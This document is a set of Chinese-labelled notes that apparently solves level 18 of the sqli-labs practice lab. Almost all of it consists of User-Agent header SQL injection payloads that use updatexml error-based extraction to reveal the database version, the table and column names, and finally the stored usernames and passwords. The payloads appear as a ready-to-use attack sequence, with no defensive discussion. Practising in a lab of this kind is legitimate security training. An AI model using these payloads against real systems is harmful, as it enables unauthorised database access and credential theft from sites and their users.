sqli - 18关

 

 

User-Agent:' or updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) , 1, 1) #　　#版本

User-Agent:' or updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) , 1, 1) #　　#数据库security

User-Agent:' or updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) , 1, 1) #　　#数据表users

User-Agent:' or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users' limit 4,1),0x7e),1) , 1, 1) #　　#password

User-Agent:' or updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_name='users' limit 7,1),0x7e),1) , 1, 1) #　　#username

User-Agent:' or updatexml(1,concat(0x7e,(SELECT concat(username,'|',password) from users limit 0,1),0x7e),1) , 1, 1) #